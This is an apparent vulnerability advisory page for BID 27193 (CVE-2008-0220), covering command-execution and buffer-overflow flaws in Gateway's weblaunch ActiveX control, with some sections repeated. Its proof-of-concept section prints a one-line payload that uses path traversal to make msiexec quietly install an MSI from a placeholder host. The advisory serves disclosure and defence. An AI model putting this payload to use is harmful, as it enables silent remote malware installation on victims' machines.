Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
BID:27193
Info
Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 27193 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2008-0220 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 08 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | Elazar Broad is credited with discovering these vulnerabilities. |
| Vulnerable: |
Gateway weblaunch2.ocx CWebLaunchCtl ActiveX Control 2.0 Gateway weblaunch.ocx CWebLaunchCtl ActiveX Control 1.0.0.1 |
| Not Vulnerable: | |
Discussion
Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
Gateway CWebLaunchCtl ActiveX control is prone to an arbitrary-command-execution vulnerability and a buffer-overflow vulnerability.
An attacker can exploit these issues to execute arbitrary local scripts and to execute remote code in the context of an application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.
These issues affect weblaunch.ocx 1.0.0.1 and weblaunch2.ocx, which provide the ActiveX control; other versions may also be affected.
Gateway CWebLaunchCtl ActiveX control is prone to an arbitrary-command-execution vulnerability and a buffer-overflow vulnerability.
An attacker can exploit these issues to execute arbitrary local scripts and to execute remote code in the context of an application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.
These issues affect weblaunch.ocx 1.0.0.1 and weblaunch2.ocx, which provide the ActiveX control; other versions may also be affected.
Exploit / POC
Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
The following example call to the vulnerable method demonstrates executing a local script:
obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe", "","/i http://www.example.com/evilapp.msi /quiet");
UPDATE (March 26, 2008): The Symantec DeepSight Team has discovered that the issue affecting 'WebLaunch2.ocx' is being actively exploited in the wild.
A proof of concept for executing local scripts and an exploit for the buffer-overflow issue are available:
The following example call to the vulnerable method demonstrates executing a local script:
obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe", "","/i http://www.example.com/evilapp.msi /quiet");
UPDATE (March 26, 2008): The Symantec DeepSight Team has discovered that the issue affecting 'WebLaunch2.ocx' is being actively exploited in the wild.
A proof of concept for executing local scripts and an exploit for the buffer-overflow issue are available:
Solution / Fix
Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Gateway CWebLaunchCtl ActiveX Control Command Execution and Remote Buffer Overflow Vulnerability
References:
References:
- Gateway Computers Homepage (Gateway Computers)
- Microsoft Knowledge Base Article 240797 (Microsoft)